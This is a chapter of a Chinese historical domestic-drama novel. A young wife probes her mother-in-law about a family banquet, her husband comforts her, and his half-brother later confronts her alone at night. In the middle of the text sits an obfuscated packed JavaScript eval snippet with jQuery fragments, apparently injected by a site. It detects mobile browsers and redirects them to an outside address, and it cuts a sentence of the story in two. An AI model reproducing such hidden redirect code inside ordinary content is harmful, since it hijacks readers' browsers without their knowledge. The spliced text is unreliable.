昨夜动静难免还是被院里伺候的人听到了些,姜令玥唯恐在下人面前失了体面,早起就吩咐青禾把人都召集起来,耳提面命又讲了一遍府中规矩。她平素处事公正,管束起下人来倒是事半功倍。
用过午膳,青灰的天色终于漏下一点光亮来,等到了未时末,久违的阳光洒在地面,将积水蒸腾而起。
早上孟越年出门时提过一句,今日案子了完许是能早些回府。
姜令玥算着时辰,吩咐青禾取来她选好的几匹锦缎和花样,打算去寻卢氏让她帮忙选。
本来这样的事让针线房跑一趟便是,不过她有自己的盘算,亲自去一趟,也好探探卢氏是否还在恼怒孟越临。
若当真消了怒气,她也好便宜行事。若还在气头上,就别怨她将此事摊开来了。
途径几处院落,下人们都忙着清扫满地的残花枝叶,见着她纷纷垂首避让。
芳华苑内,卢夫人刚午歇醒来,正由桂嬷嬷重新绾发,听说姜氏来了,她冷哼一声:“哟,空了两天,还想得起我这个婆母,我还以为她当真当自己是孟家掌家人了呢。”
声音不大不小,刚好落入拐过回廊的姜令玥耳中。
她双手交叠于腹部,纵然听到这样的数落,面上也不露分毫怨怼。她缓步迈入房中,站在屏风外侧恭敬福身:“儿媳给母亲请安,这几日风雨太大,母亲安歇得可好?”
声音一如既往温柔体贴,卢夫人即便看不清,也能猜到她唇角上扬的弧度依旧。
装!儿子不在,就这样会装!
桂嬷嬷轻咳一声,卢夫人不得不按耐住脾气,声音不高不低:“免礼吧,你把允湛伺候好便是,我一个老婆子这么多下人围着,用不着你挂念。”
“儿媳谨听母亲教诲。儿媳今日带来了几匹锦缎和花样,都是时兴样式,儿媳经验浅薄,怕怠慢了各房,特来请母亲帮儿媳斟酌一番。”
这话卢夫人爱听,她姜氏再得用,也不过二十出头的年纪,哪懂那么多弯弯绕绕。
卢夫人梳好发髻,来到外间宽椅坐下,桂嬷嬷配合青禾一左一右展开布样请她过目。
卢夫人不紧不慢点评一番,布料好丑,花样是否适宜说得头头是道。姜令玥颔首应声,恭谨有礼,倒是将她哄得比方才愉悦不少。
趁着她心情不错,姜令玥让青禾把选好的布料收下去,轻轻给她揉着肩膀,试探道:“儿媳能有母亲帮衬,这才能把孟府管理得井井有条,母亲若是能不厌其烦再点拨儿媳几句,儿媳更是感激不尽。”
“有什么难事,说来听听。”卢夫人闭眸享受着她的吹捧。
姜令玥声调轻柔:“想来母亲也知晓,公爹和夫君一贯主张阖府安定,公爹明日便要回京,儿媳想做主办次家宴,一来为公爹接风洗尘,二来三弟难得回家,届时请三房过来,料想公爹也愿意看到兄友弟恭,阖家欢喜。”
话音刚落,卢夫人声音陡然尖利拔高,张口否决:“我不同意!”
姜令玥好像被吓了一跳,忙躬身垂首:“母亲息怒,是儿媳哪里做得不对吗?”
卢夫人胸膛起伏一瞬,语气里是压抑的愤恨:“你想办家宴就办,但是三房的人皆不许越过院线!”
姜令玥眉头一皱,她本以为卢氏恼的是孟越临,怎么连整个三房都牵扯上了。
诚然自她入府,两房生活很明显泾渭分明,三房从不主动沾大房的光,大房平日也极少和三房来往。
可既然孟大老爷同意庶出三房住在孟府,不该这般生分才对。
从前没有明显的矛盾她没有深思,眼下却觉得极为不对劲。夫君和稀泥的态度,孟越临的挑衅,卢氏的毫不退让,都让她觉得还有她不知晓的往事影响着他们。
“姜氏,你听到没有?”
“儿媳知晓了。”姜令玥压下心绪,低低应声。
从卢夫人房里出来没走多远,迎面碰上早回的孟越年。她早料到孟越年只要不在院里看见她,定会来寻。
她唇角轻扯,三步并作两步迎上去,径直投入他的怀中,环住他的腰。
突如其来的亲密令孟越年微怔,一旁跟随的下人见此情形,皆垂首悄悄退下。
“怎么了?”他张臂抱住她,低声问道。
姜令玥摇摇头,不知怎么开口。她先前的确是打算先试探卢氏,再引来夫君,若她拿捏不住卢氏,自有夫君助力。
可卢氏的态度太过反常,她下意识否决了先前的想法。纵然卢氏偶有磨磋她,然都是阴着来,从未像方才那般当众厉喝,好像她的提议有什么十恶不赦般。
她一时想不通也便没做声,孟越年不明就里,猜测道:“可是母亲又说什么了?母亲偶尔喜欢钻牛角尖,要是她言语失当,我代她向你道歉,可好。或者有什么,我们回房再说。”
姜令玥突然回神,这才发现还在外面,而她依偎在夫君怀中。虽则下人都退开了,她脸颊也倏然烧起来,想也未想就要后退,反被孟越年搂紧。
“阿玥放心,没人看见。”孟越年瞥见她绯红耳垂,不禁失笑。
极少见妻子这般失态,其实她偶尔流露出一些小女儿娇态他也是极喜爱的。
两人举止亲昵离去的身影很快被下人禀报进屋里,卢夫人怒气未消又添新恨,啪得拍在扶手上:“允湛好不容易回来一趟,她又给勾走了,允湛从前多孝顺,你看看现在,简直气死我了。”
虽没指名道姓,桂嬷嬷也听得出她在骂姜令玥,她摆手屏退其余人,奉上热茶:“奴婢倒是觉得大夫人多想了,大公子和少夫人柔情蜜意,多少人家都盼不来的恩爱,比起那些成天吵闹搞得阖府不安宁的,不是省心多了。”
卢夫人斜她一眼,皮笑肉不笑:“你话里意思,是指成天吵闹惹事的是我了?”
“奴婢不敢,奴婢知晓夫人也是盼着大公子好的。”桂嬷嬷笑笑,也不怵她,主仆相伴那么多年,卢夫人脾性是差一些,对她还算不错。
卢夫人喝完一盏茶,情绪舒畅不少,下人来报李嬷嬷来了,她睨了眼桂嬷嬷:“你早起伺候半日了,下去歇着吧。”
桂嬷嬷应声退下,在门口与李嬷嬷打了个照面,李嬷嬷扯了扯唇角挤出一个僵硬的笑。
姜令玥想了半路,还是提了几句她与卢夫人间的矛盾,孟越年的态度同样有些微妙:“阿玥想得周到,不过母亲和三弟才发生过争执,许是她心中尚有芥蒂,父亲也素来不喜饭桌上氛围僵硬,依我看来,此事就此作罢,也免得你费心操劳,布置一桌家常便饭便是。”
夫君都这样讲了,纵然心中还有不少疑惑,姜令玥也不得不压下猜疑,暂且答应。
她眼眸转了转,又提起孟越临:“三弟那边,夫君今日既得空不妨去看看,伤势约莫是好了不少,是否让他回去再养?”
先前把他暂留下来是为了避免矛盾再次扩大,眼下公爹也要回府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585080|205203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,看样子卢氏也不会再纠缠,既然如此,便没有再留人的理由。
孟越年:“我一会就亲自去一趟,你再备些补品一道送去。”
“好的,夫君。”
之后姜令玥回房做自己的事,等到青禾来禀报她晚膳何时摆时,她适才发现孟越年一直未回。
“夫君还在西厢房?”她有些疑惑,他们感情这么好吗?
“奴婢方才派人去看过,大公子和三公子在屋中畅谈,不时传出笑声,奴婢也已请示过,大公子让把他们的晚膳送过去,还要了两壶酒。”
姜令玥眸光闪了闪,夫君克己唯礼,能约他一道喝酒,看来兄弟俩感情大抵是真的好了。
“那便摆膳吧。”
独自用罢晚膳,姜令玥趁着暮光在院落里侍弄花草。
刚嫁过来时,她卯正一刻就会准时醒来,亲自下厨为孟越年挽袖做羹汤,等他出门,又去侍奉婆母,孟越年怜她辛苦,好说歹说才要求她须得睡到辰初再起。
早膳不用她伺候,穿衣更无需她管,姜令玥起初还有些不习惯,毕竟在她从前接受的闺训里,对夫君体贴照顾是她该做的。
孟越年宠溺地刮了刮她的鼻梁,引得她轻皱小巧鼻尖:“府里这么多下人,哪用得着你样样亲力亲为,阿玥平日若嫌无趣,尽可做些自己喜欢的事。”
第二年春日,他们居住的挽晴院中便在墙根下支起花架,还是孟越年抽空亲手带着工匠做好的,又寻了有经验的花匠,陪着姜令玥种下她喜欢的花木,至此今年,繁花已爬满院墙。
等到天色彻底黑透,也不见孟越年回来。
“不会喝醉了吧。”念头突兀冒出来,姜令玥没来由有些担心,以夫君的性情不至于醉酒,可孟越临在,就不好说了。
她当即命青禾提了灯笼跟着,往西厢房行去。
行至半途,前面廊下转出一道人影,影影绰绰,身形轮廓有些眼熟。她下意识认定是孟越年回来了,笑着越步上前。
“夫君,我还当你喝醉了,正要去接你。”
对面那人没有回话,反而脚步一顿站在了原地,似乎在等她过去。
青禾笑着停下:“奴婢就在这儿等您。”
姜令玥想着夫君怕是担心酒后失态,故而不愿靠近下人,她莞尔一笑加快脚步,七八丈的距离几息时间也到了眼前。
薄薄光幕下显出半张侧颜来,远看确实像孟越年,然而姜令玥和他朝夕共枕几百个日夜,隔着两步远还是察觉出不对劲。
她忽地停下,心下诧异的同时秀眉拧起,薄斥道:“孟越临,你何故在此?”
这里是属于他们夫妻居住的内院,没有通传,没有侍从跟随,孟越临怎么就敢独自擅闯。
孟越临好像不意外会被她识破,连眼角唇边的笑意都毫不掩饰。
“给嫂嫂见礼。”
他眼底掠过一道极暗的光,仿佛昨晚彻夜折磨他的燥热依然还未散去。
孟越临微微垂眸,视线恰好落在那截纤细的、微微起伏的雪腻颈间。
喉结不可控制轻轻滚动了一下。
姜令玥见他口中说着见礼的话,却不见他低头行礼,甚至还往前贴近。没来由心口一跳,手指揪紧袖口,张开就想唤人,又听得他低低一语。
姜令玥瞳孔骤然睁大,绯色瞬间爬上脸颊,本能地抬手一巴掌结结实实打在孟越临侧脸。
“放肆——”